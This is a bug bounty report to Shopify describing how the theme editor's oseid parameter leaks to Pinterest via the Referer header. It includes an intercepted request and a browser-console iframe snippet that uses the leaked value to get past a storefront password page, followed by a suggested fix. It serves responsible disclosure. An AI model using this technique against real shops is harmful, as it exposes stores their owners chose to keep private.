Theme editor `oseid` parameter is leaked to third-party services through the `Referer` header which leads to somekind of storefront password bypass.

How it was found

Hello Shopify,

Summary

While reading @danishalkatiri's report #997350, I remembered a report that @francisbeaudoin shared with me some time ago*(mid-February 2021)* about leaking the theme editor oseid parameter and being able to exploit it to a point where he was able to somewhat bypass the storefront password. So, given all that knowledge, I went on to replicate pretty much what was done in #997350, but within the theme editor scope instead, hoping that the oseid parameter would be leaked through the Referer header...and it did!

Requirements

1. A shop*(your-shop.myshopify.com)* with password protection enabled.

2. At least one active product (will be used in the theme editor preview).

3. Burp Suite Proxy.

Steps to reproduce

1. [Victim] From your shop, in the themes page, customize your currently published theme and move on to the theme editor.

2. [Victim] In the theme editor, from the preview dropdown located on top, choose Products and then Default product.

3. [Victim] From the product page, in the editor preview, click any of the social media sharer icon that appears under the product details (Pinterest used for this POC). 3.1. Have Burp Suite proxy ready to intercept requests.

4. [Victim] A prompt is shown, telling you that the link cannot be opened inside the editor and that it will be opened in a new window, click ok and go on with it.

5. [Victim] Intercept the request with Brup Suite proxy and the intercepted request should look like the following:

   GET /pin/create/button/?url=https://{shop}.myshopify.com/products/example-t-shirt&media=//cdn.shopify.com/s/files/1/0262/8304/9016/products/saltymermaid-avatar_f9d13a6b-bb24-4dd8-b611-70ad25dd2d24_1024x1024.png?v=1617650754&description=Example%20T-Shirt HTTP/1.1
   Host: pinterest.com
   Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
   Sec-Ch-Ua-Mobile: ?0
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   Sec-Fetch-Site: cross-site
   Sec-Fetch-Mode: navigate
   Sec-Fetch-User: ?1
   Sec-Fetch-Dest: document
   Referer: https://{shop}.myshopify.com/products/example-t-shirt?oseid={oseid}
   Accept-Encoding: gzip, deflate
   Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
   Connection: close
   

6. [Victim] Notice the shop handle and oseid parameter are exposed at line #12 of the intercepted request through the Referer header. 6.1. From here, our shop handle and the oseid parameter would have been leaked to a third-party and potentially exposed to a malicious insider.

7. [Attacker] Now from a clean browser session (incognito recommended), go to your shop storefront where you should be faced with the "opening soon" or "password" page.

8. [Attacker] Open up your browser development tool and copy the following code snippet into your console while making sure to replace the shopHandle and oseid variables with the right values:

   let shopHandle = 'victim-shop', oseid = 'oseid-1234';
   
   const iframe = document.createElement('iframe');	
   iframe.src = `https://${shopHandle}.myshopify.com/?oseid=${oseid}`;
   iframe.height = window.innerHeight;
   iframe.width = window.innerWidth;
   iframe.style.position = 'absolute';
   iframe.style.zIndex = '9001';
   iframe.style.top = iframe.style.left = 0; 
   
   document.querySelector('body').appendChild(iframe);
   

9. [Attacker] At this point, you should have "bypassed" the storefront password and should now be able to navigate within the iframe.

Impact

In this scenario, the theme editor oseid parameter was leaked through the Referer header to a third-party service where a malicious insider could later exploit it. Per my understanding, injecting the iframe allows us to "bypass" the javascript redirection that we are normally confronted with when trying to browse the store directly from the address bar. This allows the attacker to "bypass" the storefront password as well and to finally navigate the store.

Remediation

I believe this issue could be fixed pretty much like report #997350 by adding a Referrer-Policy header with the value same-origin when browsing the theme editor preview window.

Cheers.